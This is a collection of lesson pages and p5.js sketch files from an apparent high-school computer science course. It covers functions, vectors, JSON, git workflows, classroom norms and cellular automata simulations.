ellipse(pos.x, pos.y, 25); drawVector(vel, pos, "velocity"); drawVector(grav, pos, "gravity");
vel.add(grav); //add gravity to velocity
pos.add(vel); //add velocity to location
trail.push([pos.x, pos.y]);
if (pos.y > height + 25) setup();
}
function drawVector(forceVector_, positionVector, label) {
let forceVector = p5.Vector.mult(forceVector_, 6);
push();
textSize(14)
fill(0);
strokeWeight(3);
stroke(0);
translate(positionVector.x, positionVector.y);
line(0, 0, forceVector.x, forceVector.y);
translate(forceVector.x, forceVector.y);
fill(100,100,0);
noStroke();
text(label, 0, 0);
rotate(forceVector.heading());
let arrowSize = 12
fill(0);
triangle(0, arrowSize / 2, 0, -arrowSize / 2, arrowSize, 0);
pop();
}
function drawTail() {
push();
noFill();
strokeWeight(4)
stroke(150);
beginShape();
trail.forEach((v) => vertex(v[0], v[1]));
endShape();
pop();
}<file_sep>---
title: Game of Life - Coding
---
# {{page.title}}
## Part 1 - display()
<iframe width="640" height="340" src="https://www.youtube.com/embed/hiJiAtcy4rY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Part 2 - applyRules()
<iframe width="640" height="340" src="https://www.youtube.com/embed/LzBnlrj5qAg" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Part 3 - nextGen
<iframe width="640" height="340" src="https://www.youtube.com/embed/OMKabgixS18" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Part 4 - beyond
### Some ideas from shiffman
<iframe width="640" height="340" src="https://www.youtube.com/embed/FLwHvhUTthc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
### Coding Gaussian Blur
<iframe width="640" height="340" src="https://www.youtube.com/embed/7LW_75E3A1Q" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<file_sep>---
title: 'Function Review'
published: true
---
# {{page.title}}
This should be a quick review on defining function in javascript. In this section will cover:
1. The purpose of declaring your own functions
1. How to declare a function
1. How to specify arguments for your function
So let's get started!
## Why use functions?
Functions are useful as a way of **organizing** your code and for making sections of your code **reusable**. We've already used and declared functions numerous times before in our programming. p5.js has many built in functions including things like `fill()` and `ellipse()` These functions are already defined by the p5.js library so all we have to do is to **call** the function in our code. Imagine how frustrating it would be if you had to write out the code for drawing an ellipse every time you wanted to draw one! When we make our own functions we can accomplish the same thing: easy to read code that can be reused over and over again.
## Declaring and calling a Function
In order to declare a function we use the keyword `function` to tell JS that we are making function that we will use later. Once the function is declared we can call it in our program. NOTE: This is different from the `setup()` and `draw()` functions in p5.js where we only have to declare them, but not explicitly call the function. Let's imagine that we want to draw a bubble on our canvas that moves randomly about. Each time through the `draw()` loop we need to `move` the bubble and then `draw` it on the canvas. We could write a simple sketch like this:
```javascript
let x,y;
function setup(){
createCanvas(400,400);
x = width/2;
y = height/2;
}
function draw(){
background(0);
//move
x += random(-5,5);
y += random(-5,5);
//display
stroke(255);
strokeWeight(4);
noFill();
ellipse(x,y,50);
}
```
We could rewrite this so that it is functionally the same, but is organized so that the `draw()` loop is a little easier to understand and puts the low-level code inside a function below the higher-level intent.
```javascript
let x,y;
function setup(){
createCanvas(400,400);
x = width/2;
y = height/2;
}
function draw(){
background(0);
moveBubble();
displayBubble();
}
function moveBubble(){
x += random(-5,5);
y += random(-5,5);
}
function displayBubble(){
stroke(255);
strokeWeight(4);
noFill();
ellipse(x,y,50);
}
```
Now, someone with possibly no coding experience could still read this code and get a sense of what's happening.
## Passing arguments
Lastly, we may want to be able to specify particular parameters for our functions. This makes our functions even more powerful and versatile. Let's imagine that we wanted to change how far the bubble moves each time though the `draw()` loop. we could just change the values in our `moveBubble()` function, but that's a lot of extra typing every time we want to change it. Instead we can pass an **argument** to the function that can easily be changed:
```javascript
function moveBubble(maxMovement){
x += random(-maxMovement, maxMovement);
y += random(-maxMovement, maxMovement);
}
```
Now when we call the `moveBubble()` function we can specify the `maxMovement` inside the `()`
```javascript
let x,y;
function setup(){
createCanvas(400,400);
x = width/2;
y = height/2;
}
function draw(){
background(0);
moveBubble(5);
displayBubble();
}
function moveBubble(maxMovement){
x += random(-maxMovement, maxMovement);
y += random(-maxMovement, maxMovement);
}
function displayBubble(){
stroke(255);
strokeWeight(4);
noFill();
ellipse(x,y,50);
}
```
## [Comprehension Check](https://docs.google.com/forms/d/e/1FAIpQLSecw64f4vZ1Ue60LVoOzJ_1w4BGeuS2Wz_XXow_6ssup_sg6Q/viewform)
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSecw64f4vZ1Ue60LVoOzJ_1w4BGeuS2Wz_XXow_6ssup_sg6Q/viewform?embedded=true" width="100%" height="1121" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe><file_sep>---
title: What is a Vector?
---
# {{page.title}}
In this unit we will examine how to use forces to create simulations about the natural world. A force can be something which could describe a physical force, such as gravity, or some environmental force, like an attraction to food or a repulsion from a predator. There may be many ways of representing these forces, but we will be using the conventions of vectors. This lesson will give us an introduction to what a vector is and how we can use it to create simple and complex simulations.
## A vector is an arrow
The Euclidean vector—the vector that we will use in this lesson—is usually represented as an arrow. That arrow has
1. an arbitrary starting point
1. a direction
1. a length or magnitude
Another way to think about a vector is that it is an instruction to get from one point _a_ to another point _b_.

<p class="caption"><a href="https://upload.wikimedia.org/wikipedia/commons/thumb/9/95/Vector_from_A_to_B.svg/1200px-Vector_from_A_to_B.svg.png">wikipedia</a></p>
## Position and velocity, a simple example.
In reality a vector can be a lot of things, but to begin let's start by thinking of a vector as describing the position of an object (a ball) and its velocity.
### Position
In the past, when we wanted to know about an objects position we would just store the _x_ and _y_ coordinates. If we want to think about this as a vector then we need to create a vector starting at _(0,0)_ our origin and pointing towards the _(x,y)_ location.

In order to get there we'll need to move _x_ units in the _x_ direction and _y_ units in the _y_ direction. e.g. if we want to describe the location _(200,300)_, we'll need to create a vector that moves 200 units in the _x_ direction and 300 in the _y_ direction. This is remarkably similar to what we've done in the past but we'll do it in a slightly different way in code using the `p5.vector` class. (and you know all about classes now).
There is a lot to know about the `p5.vector` class but to begin lets just cover the basics. In order to create a vector we can use the `createVector(x,y)` command which takes an _x_ and a _y_ as arguments. In order to get the information out of the vector object we can use the property `.x` and `.y`. So if we want to draw a circle at a given _x_ and _y_ we can do so with the following code.
```javascript
let pos; //global variable which will become
//the vector object literal
function setup(){
createCanvas(600,400);
pos = createVector(300,100); //create the vector
fill(0);
ellipse(pos.x,pos.y,10)
}
```
Wahoo! So far so good.
## Velocity - vector addition
Here comes the fun part. As mentioned before, a vector is an instruction to get from one place to another. Like wise, we can think of velocity as an instruction to get from one place to another. e.g. if an object is at location _(200,300)_ and has a velocity of _(10,20)_ we simply add the velocity to the position and in the next time step it will be at _(210,320)_.
In vector world if we want to add two vectors together, we arrange them **tip to tail** The reason for this is that, as stated above, vectors have no defined start point, which means we are free to move them around as we see fit and the information is preserved.

In the example above there is an object that is at the position _(200,150)_. In code we would accomplish this with `let pos = createVector(200,150)` If we want to move the object 100 steps in the _x_ direction and up -50 steps in the _y_ direction we could create another vector which corresponds to this motion `let vel = createVector(100, -50)` If we want to add these two vectors together we can simply add the _x_ components of the two vectors together and the _y_ components of the two vectors together
```javascript
function setup(){
let pos = createVector(200,150); //position vector
let vel = createVector(100,-50); //velocity vector
let newX = pos.x + vel.x; //add x components
let newY = pos.y + vel.y; //add y components
//update position vector
pos = createVector(newX, newY);
console.log('x: ' + pos.x + ' y: ' + pos.y)
}
//> x: 300 y: 100
```
The code above would certainly work, but it's a lot of work, and who wants more work? Luckily, there is a `method` in the `p5.Vector` class that will do this for us called `.add()` This method adds one vector to another. We can rewrite this code thusly:
```javascript
function setup(){
let pos = createVector(200,150); //position vector
let vel = createVector(100,-50); //velocity vector
pos.add(vel);
console.log('x: ' + pos.x + ' y: ' + pos.y)
}
//> x: 300 y: 100
```
Well isn't that handy!
### putting it together.
Let's make a simple sketch that will move a ball with a uniform velocity across the screen from left to right. We'll need to start by initializing a position vector and then in the draw loop we can update the position by adding a constant velocity vector to that position and then redrawing the ellipse.
<iframe width="100%" height="600" frameborder="0" src="https://editor.p5js.org/mdarfler/sketches/dfERahzkZ"></iframe>
## Comprehension Check
<file_sep>---
title: JavaScript Object Notation
---
# {{page.title}}
JSON is a way of collecting and organizing information in a systematic way that is easily accessible and readable to humans and computers. This lesson should also be a bit of a review,but it's worth taking the time now to make sure we're all on the same page before moving ahead. In this lesson we will look at:
1. What is a JavaScript Object
1. Reading and Writing JSON
1. Creating and using JavaScript Objects
## What is a JavaScript Object.
An object is simply a collection of **data** and, in some cases, **functionality**. We'll see below how JavaScript prefers to structure this data.
## Reading and Writing JSON
As stated above, JSON is *"is an ordered structure for storing and exchanging data."* There are many different ways of storing and exchanging data out there, and JSON is just one way of doing so.
Hopefully, you are familiar with spreadsheets such as google sheets, .csv, or excel. Spreadsheets are an excellent way of storing certain types of data that can be represented in a 2D array. For example a list of bank transactions could be easily represented this way.
|Date|Transaction|Balance|
|:---|:---:|---:|
|1/2/19|+$10.09|$509.75|
|1/3/19|-$100.52|$409.23|
|1/3/19|-18.10|$391.13|
This structure may not be as useful for something like an organizational chart, which has more of a **tree** structure.
 However, JSON is an excellent way of keeping track of this type of information, which is certainly a reason to use JSON. JSON is also the default data structure for the internet which is another reason to use it.
### Reading JSON
So how might we use JSON to capture some data? Let's start by looking at how to read JSON. Below is an example of a contact record for <NAME> written in JSON.
```JSON
let sam = {
"firstName": "Sam",
"lastName": "Simpson",
"age": 25,
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": "10021"
},
"phoneNumber": [
{
"type": "home",
"number": "212 555-1234"
},
{
"type": "fax",
"number": "646 555-4567"
}
]
}
```
This contains lots of information that can be accessed using the **dot notation** that we've used before. For example if we want to get information about Sam's street address we would say `sam.address.streetAddress` which would return `21 2nd Street` In this way we sort of drill down into the object to retrieve information.
### Writing JSON
All objects written with JSON start and end with curly braces `{}` Within the curly braces are key:value pairs, i.e. a value which has a key name associated with it. These two things are separated with a `:`. Each key:value pair is separated with a `,` For example if I just wanted an to collect some basic information about a person it could look like this
```JSON
{
"firstName":"Michael",
"lastName":"Darfler",
"age":34,
"height":72
}
```
Notice that I can mix and match strings and numbers, which is handy. But we can go further. The value for a key could be another object. If I wanted to collect information about a person's street address I would need a couple of fields such as streetAddress, city, state, etc. In practice this might look like:
```JSON
{
"firstName":"Michael",
"lastName":"Darfler",
"age":34,
"height":72,
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": "10021"
}
}
```
Up to now, all of this could certainly be stored in a spreadsheet, but what if we also wanted to collect information about a person's weight over time as list so that I could plot it over time? This is where a spreadsheet starts to fall apart and JSON starts to shine. So far, each value has just been either a string, or a number, but it could very well be an array.
```JSON
{
"firstName":"Michael",
"lastName":"Darfler",
"age":34,
"height":72,
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": "10021"
},
"weight":[185,182,179,181,180]
}
```
As with other javascript arrays we can access in the information using the index number.
And we can keep going! What if the value for a particular key was an array of more objects?
```JSON
{
"firstName":"Michael",
"lastName":"Darfler",
"age":34,
"height":72,
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": "10021"
},
"weight":[185,182,179,181,180],
"siblings":[
{
"type":"brother",
"name":"Ben",
"age":37
},
{
"type":"brother",
"name":"Josh",
"age":29
}
]
}
```
### Creating and Using JavaScript Objects
Now that we know how to read and write JSON we can use that to actually create objects in code. Since JS is so flexible and loosely typed it's easy for us to start to use these data structures. All we have to do is to create a variable and assign the data to that variable. e.g.
``` javascript
let contact = {
"firstName":"Michael",
"lastName":"Darfler",
"age":34,
"height":72,
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": "10021"
},
"weight":[185,182,179,181,180],
"siblings":[
{
"type":"brother",
"name":"Ben",
"age":37
},
{
"type":"brother",
"name":"Josh",
"age":29
}
]
}
```
Now that we have the data stored as a variable we can access the information using **dot notation** For example, If I wanted to get the first name of the contact I could simply say `contact.firstName` and it would return `"Michael"`
I can also get the 3rd entry of the "weight" property by accessing the index like I would in an array e.g. `contact.weight[2]`
I can do all sorts of interesting things like print the names of all my siblings:
```javascript
for (let i = 0; i < contact.siblings.length; i++){
console.log(contact.siblings[i].name);
}
```
try doing that with a spreadsheet!
## [Comprehension Check](https://docs.google.com/forms/d/e/1FAIpQLSdvwkdFBKLr__H7gkggMx7snj74Gb4-cTQn0fmLCo6sHmCGWg/viewform)
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSdvwkdFBKLr__H7gkggMx7snj74Gb4-cTQn0fmLCo6sHmCGWg/viewform?embedded=true" width="640" height="2361" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe><file_sep>---
title: 'A bit about git'
---
# {{page.title}}
Watch the following video and answer the questions below
<iframe width="600" height="400" src="https://www.youtube.com/embed/BCQHnlnPusY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<br>
## [Comprehension Check](https://docs.google.com/forms/d/e/1FAIpQLSfxRCeUWO8SWxG45iqHqBmMDLfoJ5wFxBuYySEukbx-G1G8tg/viewform?usp=sf_link)
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSfxRCeUWO8SWxG45iqHqBmMDLfoJ5wFxBuYySEukbx-G1G8tg/viewform?embedded=true" width="640" height="1695" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
## In class
- Create a new github repository called "Classes I'm currently taking"
- Create a new file called "current courses.txt"
- add each of your classes from **last semester** to the file and commit the change.
- edit the file to reflect the classes you are currently taking **this semester**
- commit those changes.
- If you finish early try making another .txt file see how far back you can remember your classes and work forward, committing changes for each semester.
<file_sep>---
title: "Cellular Automata"
published: true
---
# {{page.title}}
>Cellular automata are discrete dynamical systems with simple construction but complex self-organizing behaviour. Evidence is presented that all one-dimensional cellular automata fall into four distinct universality classes... The fourth class is probably capable of **universal computation**, so that properties of its infinite time behaviour are undecidable.
> —<NAME>

<p class="caption"><a href="https://members.loria.fr/nazim.fates/research.html">https://members.loria.fr/nazim.fates/research.html</a></p>
Cellular Automata (CA) is a type of **bottom up** simultion that has its roots in the 1940's with Stanislaw Ulam and <NAME>. The basic concept is that of a simulation played out on a giant grid. At any time t<sub>n</sub> each cell of the grid can be either "on" or "off." Alive or dead. 0 or 1. In the next time step t<sub>n+1</sub> the sates of all of the cells in the grid are recalculated based on a set of rules, which are predefined ahead of time, and the state of the cell's neighbors.

<NAME> has a great explanation of Cellular Automata in his book ["The Nature of Code"](https://natureofcode.com). [Please read upto and including 7.2](https://natureofcode.com/book/chapter-7-cellular-automata/)
## [Comprehension Check](https://docs.google.com/forms/d/e/1FAIpQLSegadmNaAFoA4B1BUeilzv2kW_iZQgQWZgwcN1PsD5WPckWHQ/viewform)
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSegadmNaAFoA4B1BUeilzv2kW_iZQgQWZgwcN1PsD5WPckWHQ/viewform?embedded=true" width="100%" height="1987" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
## In Class
In order for us to build more understanding about how an Elementary CA works we attempt to make an analog version using sticky notes. For this project you will need
- a pack of sticky notes. The smaller the sticky note, the higher the resolution, the more generations you'll have to computer
- a table or flat surface to stick the notes to.
### Let's get started
- To start, place one sticky note at the center top of your table. This is generation one. In order to calculate the next generation we will need a set of rules. As above, rules are defined by an 8-bit, binary value.

Another way to represent this visually, not numerically would be like this:

- Next, Choose one of the following rulesets:
```
00011110
00110110
00111100
00111110
01111110
10010110
```
- At the top of your table at one of the corners create a visual representation of your ruleset like the picture above.
- Now that we have our first generation and our rules we can really get going
- Using your ruleset calculate the next generation of your CA. For the purposes of this project, let's assume that a sticky note is 1 and not a sticky note is a 1.
- In the example above, we don't need to look at much becuase wherever we have `000` the result is `0` but as we approach the center we'll encounter a cell that is off `0` who has one `0` neighbor to the left and one `1` neighbor to the right.
- If we look at our rule for this example `001`, a cell that is off with a one "on" neighbor to the right becomes "on" in the next generation. So we would place a sticky note just below and to the left of our one "on" cell in the first generation.
- As we move along let's examine the one "on" cell in the first generation. It has two "off" neighbors, `010` and so it turns "off" in the next generation. So no sticky note.
- The last cell we have to look at is the one to the right of our "on" cell from the first generation. This cells configuration is `100` which means that it turns "on" in the next generation, so we'll put a sticky note below and to the left of the "on" cell in the first generation.
- If we followed this correctly, the first two generations should look like this:
- Continue growing your CA until you run out of room.
### Analysis
1. Convert your binary rulset into a decimal representation
2. Try to describe what you made to someone who can't see your creation
3. Do you think that there is an underlying logic to what you've created?
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSegadmNaAFoA4B1BUeilzv2kW_iZQgQWZgwcN1PsD5WPckWHQ/viewform?embedded=true" width="100%" height="1987" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
<file_sep>function setup() {
createCanvas(400, 200);
background(255);
ca = new CA(ruleFrom(90),10);
createP("Ruleset: "+parseInt(ca.ruleset.join(""),2));
}
function draw() {
ca.display();
if (ca.generation < height/ca.w) {
ca.generate();
}
//console.log(ca.hist.length)
}
function ruleFrom(num){
let ruleset = Array(8).fill(0);
let binNum = num.toString(2);
for(let i = 0; i < binNum.length; i++){
ruleset[7-i] = parseInt(binNum[binNum.length-(i+1)]);
}
return ruleset;
}<file_sep>---
title: Pretest
published: false
---
# [REThink Post Test](https://www.surveymonkey.com/r/REThinkPost_HS_Student18-19)
This is only a test
# [CS Pretest](https://docs.google.com/forms/d/e/1FAIpQLSe3TPF8QtvyjIvPy19EMnm8Is6CDDHw83VWwaSScTjHKzzXxw/viewform?usp=sf_link)
As outlined in the opening page, there are a number of goals for this class divided into three main areas, abstract skills, concrete skills, and concepts. In order to chart your progress please take the time to fill out the [survey](https://docs.google.com/forms/d/e/1FAIpQLSe3TPF8QtvyjIvPy19EMnm8Is6CDDHw83VWwaSScTjHKzzXxw/viewform?usp=sf_link). We will revisit this a couple of times throughout the semester.
<file_sep>---
title: Customizing your Objects
---
# {{page.title}}
So bubbles and circles are great, but, as we know, no two bubbles are alike. But all bubbles share some similarities. So how do we create objects from Classes that share the same functions but have different properties, such as starting position and size? The following video gives a quick overview of passing arguments to the constructor function.
<iframe width="640" height="340" src="https://www.youtube.com/embed/rHiSsgFRgx4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Assignment
Using your code from the previous lesson, refactor the code so that you can specify the ball's initial x and y position, radius, speed, and color. Submit a pull request back to fcs-cs/cs2-student-files MASTER Note: if the pull request hasn't been accepted yet, just make a new commit to the pull request with the commit message "Constructor Arguments")<file_sep>---
title: 'Societal and Classroom Norms'
published: true
---
# {{page.title}}
Norms are the way that we develop a common language of accaptable behavior. Very often norms are unspoken constructs that influence our behavior, but when they are clear and agreed upon, it can help lift evryone up. [Read the following]({{site.baseurl}}/img/why-a-norm-matter-3026644.pdf) and answer the questions below.
<iframe src="https://docs.google.com/gview?url=http://fcs-cs.github.io/cs2/img/why-a-norm-matter-3026644.pdf&embedded=true" width="100%" height="1000" frameboarder="0"></iframe>
## [Comprehension Check](https://docs.google.com/forms/d/e/1FAIpQLSeTiKNqo_xOV1nMPST8OcbePctkzdXGdyH9NFO0AvzSqPg83A/viewform)
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSeTiKNqo_xOV1nMPST8OcbePctkzdXGdyH9NFO0AvzSqPg83A/viewform?embedded=true" width="100%" height="1579" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
<hr>
## In class
Together, we will be working to create a set of class norms and expectations. In order to do so, I have created a new issue on [fcs-cs/cs2-student-files](https://www.github.com/fcs-cs/cs2-student-files) called [Classroom Norms and Expectations](https://github.com/fcs-cs/cs2-student-files/issues/12). Each student should contribute three comments to the discussion using the following template
Answer the following:
>### Learning
- I **learn** best when:
- So I want a classroom that is:
- In order to achieve this, I propose the following classroom norm:
>
### Contributing
- I **contribute** best when:
- So I want a classroom that:
- In order to achieve this, I propose the following classroom norm:
>
### Expectations
(Please add only one for each expectation)
- I expect my teacher to:
- I expect my classmates to:
- I expect myself to:
## At Home
Each student is required to make 6 comments back to the issue in repsonse to other students. Please respond to
- 2 student comments about learning norms
- 2 student comments aobut contributing norms
- 2 student comments about expections
Response comments should fall into one of the following categories.
- Noting similarities between differnent comments
- Noting potential conflicts between comments
- Noting areas that need further clarification
Responses should
- @mention individuals whose comments you are commenting on
- quote relevant text
The idea here is that were trying to drive the discussion towards a consensus. Be thoughtful, constructive and specific.<file_sep>---
title: Building a CA
---
# {{page.title}}
In order to start building our CA we'll need to set up, you guessed it, an array to store values for each generation. If we go back to the first lesson on CA, we learned that CA's exist on a grid in this case it's a 1D grid. Each cell in that grid can either be on or off, 0 or 1.
To begin we'll need to make an array of length 100. In the last lesson we saw how to initiallize a list with some values. Now as tempting as it is to type let `gen1 = [0,0,0,0,0,0,0,0,...,1,0,0,0,0,0,0,0,...]` There's got to be a better way, and there is.
## Array().fill()
<iframe width="640" height="340" src="https://www.youtube.com/embed/hp5RJqPGmZA" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Rember in the last video that there were a bunch of methods that could be used in conjuction with an array? well let's look at another one. the .fill() method can be used to fill an array with any value. e.g.
``` JavaScript
let list = [1,2,3,4];
list.fill(0);
console.log(list)
> [0,0,0,0]
```
That's a good start, but again, if I need 100 0's that's still too much typing. Instead we can initialize an array of length _n_ and then fill it with a value and it looks like this:
``` JavaScript
let list = Array(10).fill(0);
console.log(list);
> [0,0,0,0,0,0,0,0,0,0,0]
```
As before, with the Elementary CA we always start the center cell to 1 and everything else to 0, so we acutally need 101 cells with all of them 0's except for the 50th element
```javascript
let gen0 = Array(101).fill(0);
gen0[50] = 1
```
## Display
Now that we have our array, we'll want to show it on the screen. For the Elementary CA, if the cell is a `1` or on we want to draw a black box at that index, otherwise we'll draw nothing. Assuming we have a screen a of any given size `width` and `height` and an array of size `gen0.length` the size of each cell will be
``` JavaScript
let cellSize = gen0.length/width
```
In order to draw the boxes we'll need to iterate through every element in the `gen0` array and decide whether to draw a box.
``` javascript
for(let i = 0; i < gen0.length; i++){
if(gen0[i] == 1){
rect(i * cellSize, 0, cellSize, cellSize)
}
}
```
<iframe width="640" height="340" src="https://www.youtube.com/embed/98iB45-Zps4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Generate
<iframe width="640" height="340" src="https://www.youtube.com/embed/16pet2UJLgQ" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><file_sep>//Your Name(s)
//Project Name
//Date
/* A brief description of what the program is */
let walkers = []
let aggregated = []
let boundingRadius;
function setup() {
ellipseMode(RADIUS)
createCanvas(1200, 800);
// initialize seed
let seed = new Walker(width / 2, height / 2);
seed.stuck = true;
aggregated.push(seed);
}
function draw() {
if (boundingRadius > height / 2) { //exit
noLoop();
saveCanvas('DFA', 'png')
}
boundingRadius = getBoundingRadius(aggregated);
//add walkers
while (walkers.length < max(boundingRadius / 2, 5)) {
walkers.push(spawnPointAtRadius(boundingRadius + 20));
}
//move walkers and check adhesion
for (let i = 0; i < walkers.length; i++) {
walkers[i].move();
for (let j = 0; j < aggregated.length; j++) {
walkers[i].checkAdhesion(aggregated[j])
}
}
//filter stuck from walkers
let filtered = walkers.filter(w => w.stuck);
walkers = walkers.filter(w => !w.stuck && dist(w.x, w.y, width / 2, height / 2) < boundingRadius * 1.1 + 20);
//Add filtered to aggregated and increase r of each
//in aggregated by 2/num-of-aggregated-cells
for (let f of filtered) {
aggregated.push(f);
for (a of aggregated) {
a.r += 2 / aggregated.length
}
}
background(0);
walkers.forEach(w => w.show());
aggregated.forEach(a => a.show());
}
function getBoundingRadius(_array) {
let rad = 1;
for (let elem of _array) {
let d = dist(width / 2, height / 2, elem.x, elem.y);
if (d > rad) {
rad = d;
}
}
return rad
}
function spawnPointAtRadius(r) {
const theta = random(TWO_PI)
const x = r * cos(theta) + width / 2;
const y = r * sin(theta) + height / 2;
return new Walker(x, y);
}<file_sep>---
title: 'Branches and Pull Requests'
---
#{{page.title}}
Watch the following video and answer the questions below
<iframe width="560" height="315" src="https://www.youtube.com/embed/oPpnCh7InLY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## [Comprehension Check](https://docs.google.com/forms/d/e/1FAIpQLScY7av96WBprXm1Gi3PqhBt7tO2_EPj1PHKD5Jgc2APdx4MAQ/viewform?usp=sf_link)
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLScY7av96WBprXm1Gi3PqhBt7tO2_EPj1PHKD5Jgc2APdx4MAQ/viewform?embedded=true" width="640" height="1642" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
## In Class
- Create a branch in your repository
- add the name of your teacher for each of your current classes
- e.g. CS2: Simulating the Natural World - Instructor: <NAME>
- Create a pull request back to your main branch
- Accept and merge your pull request.
<file_sep>//Your Name(s)
//Project Name
//Date
/* A brief description of what the program is */
let s1, s2, s3;
let slider1, slider2, slider3;
function setup() {
createCanvas(800, 400);
slider1 = createSlider(0, 20, 10, 0.1)
slider2 = createSlider(0, 20, 10, 0.1)
slider3 = createSlider(0, 20, 10, 0.1)
}
function draw() {
background(255)
s1 = new drawSine(slider1.value(), 20, 0);
s2 = new drawSine(slider2.value(), 20, 0);
s3 = new drawSine(slider3.value(), 20, 0);
waveArray = [s1, s2, s3]
for (let wave = 0; wave < waveArray.length; wave++) {
waveArray[wave].display(0, (3 + wave) * (height / 6))
}
const agregateWave = new agrWave(waveArray)
agregateWave.display(0, height / 5)
}<file_sep>let CA = [];
const screenWidth = 800;
const screenHeight = 400;
const numCells = 300;
const cellSize = (screenWidth - 1) / numCells
let ruleNum, startStop, reset,pixelsize
let running = 1;
let ruleset;
function setup() {
createCanvas(screenWidth, screenHeight);
noStroke();
fill(0);
let gen0 = new Array(numCells).fill(0);
gen0[floor(screenWidth / cellSize / 2)] = 1
CA.push(gen0)
startStop = createButton('start/stop')
startStop.mousePressed(() => {
running = (running + 1) % 2
console.log(running)
})
reset = createButton('reset')
reset.mousePressed(tidy)
ruleNum = createInput(90)
getRuleSet()
ruleNum.changed(getRuleSet)
}
function draw() {
if (running) {
display()
generate();
if (CA.length * cellSize > windowHeight) CA.shift()
}
}
function display() {
background(255);
for (let i = 0; i < CA.length; i++) {
for (let j = 0; j < numCells; j++) {
if (CA[i][j] == 1) {
rect(j * cellSize, i * cellSize, cellSize, cellSize);
}
}
}
}
function generate() {
const current = CA[CA.length - 1];
let nextGen = new Array(numCells).fill(0);
for (let i = 1; i < numCells - 1; i++) {
nextGen[i] = applyRules(current[i - 1], current[i], current[i + 1])
}
CA.push(nextGen)
}
function applyRules(a, b, c) {
if (a == 1 && b == 1 && c == 1) return ruleset[0]
else if (a == 1 && b == 1 && c == 0) return ruleset[1]
else if (a == 1 && b == 0 && c == 1) return ruleset[2]
else if (a == 1 && b == 0 && c == 0) return ruleset[3]
else if (a == 0 && b == 1 && c == 1) return ruleset[4]
else if (a == 0 && b == 1 && c == 0) return ruleset[5]
else if (a == 0 && b == 0 && c == 1) return ruleset[6]
else if (a == 0 && b == 0 && c == 0) return ruleset[7]
else return null
}
function trim() {
if (CA.length * cellSize > windowHeight) CA.shift()
}
function tidy(){
CA = [];
let gen0 = new Array(numCells).fill(0);
gen0[floor(screenWidth / cellSize / 2)] = 1
CA.push(gen0)
}
function getRuleSet(){
tidy();
const temp = parseInt(ruleNum.value()).toString(2)
ruleset = [];
for(let i = 0; i < temp.length; i++){
ruleset.push(parseInt(temp[i]))
}
while(ruleset.length < 8){
ruleset.unshift(0)
}
console.log(ruleset)
}<file_sep>---
title: "A bit about Git"
published: false
---
#{{page.title}}
Now the moment of truth. Let's learn a little bit more about what p5.js is and what it can do. This video will give you a brief introduction to p5.js and provide a bunch of examples
<iframe width="{{site.data.course.iframe_width}}" height="350" src="https://hello.p5js.org"> </iframe>
## <NAME>
Throughout this course we will be drawing heavily from <NAME>'s _Introduction to Programming with p5.js_ tutorials on [YouTube](https://www.youtube.com/playlist?list=PLRqwX-V7Uu6Zy51Q-x9tMWIv9cueOFTFA). They are very well considered and he's a pretty funny guy. To get us started, here's the first video in the series
<iframe width="{{site.data.course.iframe_width}}" height="315" src="https://www.youtube.com/embed/8j0UDiN7my4?rel=0&showinfo=0" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
### Try it out yourself.
Using the code below, see if you can change the size of the rectangle to be centered in the window and be twice as big.
<script type="text/p5" data-autoplay data-width="240" data-preview-width="320">
function setup(){}
createCanvas(300, 100);
background(220);
rect(20,40,80,30);
}
</script>
### Now try it using repl.it
1. Navigate to [repl.it](http://www.repl.it/repls) and click "Start Coding" 
2. Select "HTML, CSS, JS" 
3. You should now see a coding environment where you can write all of your code. In order to use p5.js we'll need to add the package. Click on "Packages" 
4. type p5.js into the search bar and click on the package. 
5. Click on the green "plus" and notice that a new line of code appears in your window.
6. Click on files and then on script.js 
7. Add the following code and click run
```
function setup(){
createCanvas(300, 100);
background(220);
rect(20,40,80,30);
}
```

## Comprehension Check
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSfSNeb_NgUyb4bsArG2Dz3FXD62TsVenqXtXOBGKju2FqiAgg/viewform?embedded=true" width="640" height="1438" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
